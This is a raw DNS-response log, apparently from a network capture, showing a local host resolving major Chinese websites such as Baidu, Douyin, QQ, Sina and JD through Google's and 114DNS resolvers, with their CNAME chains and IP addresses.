Aug 5, 2024 12:01:13.202368975 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www-jp-de-intl-adns.aliyun.com	www-jp-de-intl-adns.aliyun.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.202368975 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www-jp-de-intl-adns.aliyun.com.gds.alibabadns.com	xjp.wagbridge.aliyun.aliyun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.202368975 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	xjp.wagbridge.aliyun.aliyun.com	xjp-adns.aliyun.com.vipgds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.202368975 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	xjp-adns.aliyun.com.vipgds.alibabadns.com		47.88.251.189	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.202368975 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	xjp-adns.aliyun.com.vipgds.alibabadns.com		47.88.198.69	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.202368975 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	xjp-adns.aliyun.com.vipgds.alibabadns.com		47.88.128.4	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.202368975 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	xjp-adns.aliyun.com.vipgds.alibabadns.com		47.74.138.66	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.202368975 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	xjp-adns.aliyun.com.vipgds.alibabadns.com		47.88.198.68	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.292655945 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.kuaishou.com	multi-az-www-api.kuaishou.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.292655945 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.144	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.292655945 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.106	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.292655945 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.125	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.292655945 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.107.217.26	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.412261009 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.sinacloud.com	lb.sinacloud.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.412261009 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	lb.sinacloud.com		123.125.23.91	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.412261009 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	lb.sinacloud.com		123.125.23.221	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.421678066 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.aliyun.com	www-jp-de-intl-adns.aliyun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.421678066 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www-jp-de-intl-adns.aliyun.com	www-jp-de-intl-adns.aliyun.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.421678066 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www-jp-de-intl-adns.aliyun.com.gds.alibabadns.com	xjp.wagbridge.aliyun.aliyun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.421678066 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	xjp.wagbridge.aliyun.aliyun.com	xjp-adns.aliyun.com.vipgds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.421678066 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	xjp-adns.aliyun.com.vipgds.alibabadns.com		47.88.198.69	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.421678066 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	xjp-adns.aliyun.com.vipgds.alibabadns.com		47.88.198.68	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.421678066 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	xjp-adns.aliyun.com.vipgds.alibabadns.com		47.74.138.66	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.421678066 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	xjp-adns.aliyun.com.vipgds.alibabadns.com		47.88.251.189	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.421678066 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	xjp-adns.aliyun.com.vipgds.alibabadns.com		47.88.128.4	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.447434902 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.kuaishou.com	multi-az-www-api.kuaishou.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.447434902 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.107.217.26	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.447434902 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.144	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.447434902 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.106	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.447434902 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	multi-az-www-api.kuaishou.com		103.102.202.125	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.471081972 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.sinacloud.com	lb.sinacloud.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.471081972 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	lb.sinacloud.com		123.125.23.221	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.471081972 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	lb.sinacloud.com		123.125.23.91	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.476799965 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com	www.douyin.com.bytedns1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.476799965 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.bytedns1.com	www.douyin.com.w.kunluncan.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.476799965 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.w.kunluncan.com	www.douyin.com.queniuyk.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.476799965 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.42.240	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.476799965 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.42.242	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.476799965 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.42.243	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.476799965 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.42.245	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.476799965 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.42.246	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.476799965 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.42.239	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.476799965 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.42.204	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.476799965 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.42.241	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.514117956 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.iqiyi.com	www.iqiyiweb.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.562299967 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com	www.douyin.com.bytedns1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.562299967 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.bytedns1.com	www.douyin.com.w.kunluncan.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.562299967 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.w.kunluncan.com	www.douyin.com.queniuyk.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.562299967 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.195	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.562299967 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.194	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.562299967 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.191	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.562299967 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.188	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.562299967 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.190	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.562299967 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.192	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.562299967 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.193	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.562299967 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.douyin.com.queniuyk.com		163.181.130.189	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.645286083 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.iqiyi.com	www.iqiyiweb.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.682374954 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.sohu.com	www.sohu.com.dsa.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.682374954 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.sohu.com.dsa.dnsv1.com	qt0t6l4k.e0.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.682374954 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	qt0t6l4k.e0.sched.ovscdns.com		43.159.71.118	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.682374954 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	qt0t6l4k.e0.sched.ovscdns.com		43.159.70.125	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.713356018 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.qq.com	www.qq.com.eo.dnse2.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.713356018 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.qq.com.eo.dnse2.com		43.152.186.103	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.720933914 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.qq.com	www.qq.com.eo.dnse2.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.720933914 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.qq.com.eo.dnse2.com		43.132.73.61	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.743822098 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.sogou.com		119.28.109.132	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.745462894 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.baidu.com	www.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.745462894 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.a.shifen.com	www.wshifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.745462894 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.wshifen.com		103.235.47.188	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.745462894 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.wshifen.com		103.235.46.96	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.822655916 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	soso.com	sh2.general.proxy.sogou.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.822655916 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sh2.general.proxy.sogou.com		49.51.130.237	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.831254005 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.sogou.com		119.28.109.132	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.870028019 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.sina.com.cn	spool.grid.sinaedge.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.870028019 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	spool.grid.sinaedge.com	ww1.sinaimg.cn.w.alikunlun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.870028019 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.231	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.870028019 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.233	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.870028019 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.232	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.870028019 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.235	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.870028019 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.236	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.870028019 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.237	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.870028019 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.238	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.870028019 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		163.181.201.234	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.888556957 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.jd.com	www.jd.com.gslb.qianxun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.888556957 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.jd.com.gslb.qianxun.com	jd-abroad.cdn20.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.888556957 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	jd-abroad.cdn20.com		163.171.132.119	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.906480074 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.baidu.com	www.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.906480074 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.a.shifen.com	www.wshifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.906480074 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.wshifen.com		103.235.47.188	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.906480074 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.wshifen.com		103.235.46.96	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.920351982 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.so.com	so.seos-lb.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.920351982 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	so.seos-lb.com		104.192.110.226	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.969060898 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.1688.com	www.1688.com.danuoyi.tbcache.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:13.969060898 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.1688.com.danuoyi.tbcache.com		163.181.130.180	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.969060898 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.1688.com.danuoyi.tbcache.com		163.181.130.181	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.029952049 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.so.com	so.seos-lb.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:14.029952049 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	so.seos-lb.com		104.192.110.226	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.042253971 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.jd.com	www.jd.com.gslb.qianxun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:14.042253971 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.jd.com.gslb.qianxun.com	jd-abroad.cdn20.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:14.042253971 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	jd-abroad.cdn20.com		138.113.112.18	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.042253971 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	jd-abroad.cdn20.com		138.113.236.64	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.067373991 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	soso.com	sh2.general.proxy.sogou.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:14.067373991 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sh2.general.proxy.sogou.com		49.51.65.181	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.073009968 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.sohu.com	www.sohu.com.dsa.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:14.073009968 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.sohu.com.dsa.dnsv1.com	qt0t6l4k.e0.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:14.073009968 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	qt0t6l4k.e0.sched.ovscdns.com		43.152.186.108	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.073009968 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	qt0t6l4k.e0.sched.ovscdns.com		43.152.29.38	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.087982893 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	youdao.com		111.124.200.101	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.125049114 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.1688.com	www.1688.com.danuoyi.tbcache.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:14.125049114 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.1688.com.danuoyi.tbcache.com		163.181.166.198	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.125049114 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.1688.com.danuoyi.tbcache.com		163.181.166.197	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.150419950 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	foodmate.net		120.26.110.170	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.190151930 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.hao123.com	hao123.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:14.190151930 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	hao123.n.shifen.com		103.235.46.98	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.249372005 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	youdao.com		111.124.200.101	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.273955107 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.sina.com.cn	spool.grid.sinaedge.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:14.273955107 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	spool.grid.sinaedge.com	ww1.sinaimg.cn.w.alikunlun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:14.273955107 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.229	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.273955107 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.225	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.273955107 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.228	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.273955107 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.227	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.273955107 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.232	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.273955107 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.226	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.273955107 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.231	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.273955107 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.230	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.307523966 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	foodmate.net		120.26.110.170	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.320477009 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.hao123.com	hao123.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:14.320477009 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	hao123.n.shifen.com		103.235.46.98	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.345385075 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com	www.eastmoney.com.w.cdngslb.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:14.345385075 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		47.246.46.229	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.345385075 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		47.246.46.232	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.345385075 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		47.246.46.231	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.345385075 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		47.246.46.228	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.345385075 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		47.246.46.225	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.345385075 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		47.246.46.226	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.345385075 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		47.246.46.227	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.345385075 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		47.246.46.230	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.447835922 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.cdstm.cn	www.cdstm.cn.a.bdydns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:14.447835922 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.cdstm.cn.a.bdydns.com	opencdnka.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:14.447835922 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnka.jomodns.com		113.219.142.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.458765030 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.jmw.com.cn		47.94.225.221	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.498502970 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.jmw.com.cn		47.94.225.221	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.563071012 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.tencent.com	www.tencent.com.cdn.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:14.563071012 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.tencent.com.cdn.dnsv1.com	www.tencent.com.acc.edgeonedy1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:14.563071012 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.tencent.com.acc.edgeonedy1.com		43.159.119.252	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.563071012 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.tencent.com.acc.edgeonedy1.com		43.159.118.238	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.587730885 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com	www.eastmoney.com.w.cdngslb.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:01:14.587730885 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.201.233	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.587730885 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.201.235	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.587730885 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.201.234	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.587730885 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.201.236	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.587730885 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.201.237	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.587730885 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.201.232	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:14.587730885 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.201.231	A (IP address)	IN (0x0001)	false
